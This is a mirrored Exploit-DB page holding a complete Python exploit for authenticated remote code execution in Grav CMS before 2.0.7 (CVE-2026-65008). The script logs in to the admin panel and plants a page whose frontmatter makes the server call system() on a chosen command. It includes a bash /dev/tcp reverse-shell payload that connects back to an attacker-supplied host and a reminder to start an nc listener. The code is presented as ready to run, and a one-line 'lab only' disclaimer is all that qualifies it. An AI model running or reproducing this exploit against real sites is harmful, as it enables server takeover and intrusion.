[webapps] Grav CMS 2.0.7 - RCE
#!/usr/bin/env python3# Exploit Title: Grav CMS 2026-9-1 00:0:0 Author: www.exploit-db.com(查看原文) 阅读量:0 收藏

#!/usr/bin/env python3
# Exploit Title: Grav CMS  2.0.7 - Remote Code Execution 
# Date: 2026-07-27
# Exploit Author: zer0dayf
# Vendor Homepage: https://getgrav.org/
# Software Link: https://github.com/getgrav/grav
# Version: Grav CMS < 2.0.7
# Tested on: Ubuntu 22.04 / PHP 8.2
# CVE : CVE-2026-65008

"""
CVE-2026-65008 - Grav CMS < 2.0.7 Authenticated RCE
via Blueprint::dynamicData() + arrayFilterRecursive trampoline

Lab / authorized testing only.
"""

import argparse
import re
import sys
import time
from urllib.parse import urljoin

import requests

requests.packages.urllib3.disable_warnings()

BANNER = r""" . *  .  *  GRAVITY FAIL  *  .  *
              _____
           .-'     '-.
          / RCE INSIDE \
         | system(\"id\")|
          \   www-data  /
           '-._______.-'
        CVE-2026-65008 | Blueprint went brrr
"""







class GravExploit:
    def __init__(self, base_url, username, password, verify=False):
        self.base_url = base_url.rstrip("/")
        self.username = username
        self.password = password
        self.session = requests.Session()
        self.session.verify = verify
        self.session.headers.update({
            "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36"
        })
        self.nonce = None

    def login(self):
        print("[*] Logging in...")
        login_url = urljoin(self.base_url, "/admin")
        r = self.session.get(login_url, timeout=15)

        match = re.search(r'name=["\']login-nonce["\']\s+value=["\']([a-f0-9]+)["\']', r.text)
        if not match:
            print("[-] login-nonce not found")
            return False

        data = {
            "data[username]": self.username,
            "data[password]": self.password,
            "task": "login",
            "login-nonce": match.group(1)
        }

        r = self.session.post(login_url, data=data, allow_redirects=True, timeout=15)

        if "login-nonce" in r.text and "data[username]" in r.text:
            print("[-] Login failed")
            return False

        print("[+] Login successful")
        return True

    def get_admin_nonce(self):
        r = self.session.get(urljoin(self.base_url, "/admin"), timeout=15)
        patterns = [
            r"admin_nonce:\s*['\"]([a-f0-9]+)['\"]",
            r"admin-nonce:([a-f0-9]+)",
            r'name=["\']admin-nonce["\']\s+value=["\']([a-f0-9]+)["\']',
        ]
        for pattern in patterns:
            match = re.search(pattern, r.text)
            if match:
                self.nonce = match.group(1)
                return True
        return False

    def plant(self, command, folder="rcepoc"):
        print(f"[*] Planting payload → {command[:70]}{'...' if len(command) > 70 else ''}")

        if not self.get_admin_nonce():
            print("[-] Could not get admin-nonce")
            return False

        safe_cmd = command.replace("'", "'\\''")

        frontmatter = f"""forms:
  x:
    fields:
      y:
        type: text
        data-opts@:
          - 'Grav\\Common\\Utils::arrayFilterRecursive'
          - {{ '{safe_cmd}': 'x' }}
          - system"""

        data = {
            "task": "save",
            "admin-nonce": self.nonce,
            "form-nonce": self.nonce,
            "data[folder]": folder,
            "data[name]": "form",
            "data[title]": "RCE",
            "data[content]": "pwned",
            "data[frontmatter]": frontmatter
        }

        url = urljoin(self.base_url, f"/admin/pages/{folder}")
        r = self.session.post(url, data=data, timeout=15)

        if r.status_code not in (200, 302):
            print(f"[-] Plant failed (HTTP {r.status_code})")
            return False

        print("[+] Payload planted")
        return True

    def trigger(self, folder="rcepoc", timeout=8):
        print("[*] Triggering payload...")
        try:
            r = requests.get(
                urljoin(self.base_url, f"/{folder}"),
                timeout=timeout,
                verify=False
            )
            return r.text, False   # (body, timed_out)
        except requests.exceptions.ReadTimeout:
            return None, True      # timed out = muhtemel shell
        except Exception as e:
            print(f"[-] Trigger error: {e}")
            return None, False

    def run_cmd(self, command, folder="rcepoc"):
        if not self.plant(command, folder):
            return None
        time.sleep(0.5)
        body, timed_out = self.trigger(folder, timeout=12)
        if timed_out:
            print("[!] Request timed out (command may still have run)")
        return body

    def reverse_shell(self, lhost, lport, folder="rcepoc"):
        payload = f'bash -c "bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"'

        print(f"[*] Reverse shell target → {lhost}:{lport}")
        print(f"[!] Make sure listener is running:  nc -lvnp {lport}")
        print(f"[*] Payload: {payload}")

        if not self.plant(payload, folder):
            print("[-] Failed to plant reverse shell payload")
            return False

        time.sleep(0.6)
        body, timed_out = self.trigger(folder, timeout=6)

        if timed_out:
            print("[+] Request timed out → reverse shell likely connected!")
            print("[+] Check your nc listener.")
            return True
        else:
            print("[-] Request finished without timeout.")
            print("[-] Reverse shell probably FAILED (listener empty?).")
            if body:
                # Komut çıktısı geldiyse göster (hata mesajı olabilir)
                snippet = body[:300].replace("\n", " ")
                print(f"[*] Response snippet: {snippet}")
            return False


def main():
    print(BANNER)

    parser = argparse.ArgumentParser(description="CVE-2026-65008 Grav CMS Authenticated RCE")
    parser.add_argument("-u", "--url", required=True, help="Target URL")
    parser.add_argument("-U", "--username", default="admin", help="Username")
    parser.add_argument("-P", "--password", required=True, help="Password")
    parser.add_argument("-c", "--command", default="id", help="Command to execute")
    parser.add_argument("--lhost", help="Reverse shell LHOST")
    parser.add_argument("--lport", type=int, default=4444, help="Reverse shell LPORT")
    parser.add_argument("--folder", default="rcepoc", help="Page folder name")
    parser.add_argument("--no-verify", action="store_true", help="Disable TLS verification")

    args = parser.parse_args()
    exploit = GravExploit(args.url, args.username, args.password, verify=not args.no_verify)

    if not exploit.login():
        sys.exit(1)

    if args.lhost:
        ok = exploit.reverse_shell(args.lhost, args.lport, folder=args.folder)
        sys.exit(0 if ok else 1)

    output = exploit.run_cmd(args.command, folder=args.folder)
    if output:
        print("\n" + "=" * 60)
        for line in output.splitlines()[:20]:
            if line.strip() and not line.strip().startswith("<"):
                print(line)
        print("=" * 60)
        print("[+] Done")
    else:
        print("[-] No usable output")


if __name__ == "__main__":
    main()
            

文章来源: https://www.exploit-db.com/exploits/52669
如有侵权请联系:admin#unsafe.sh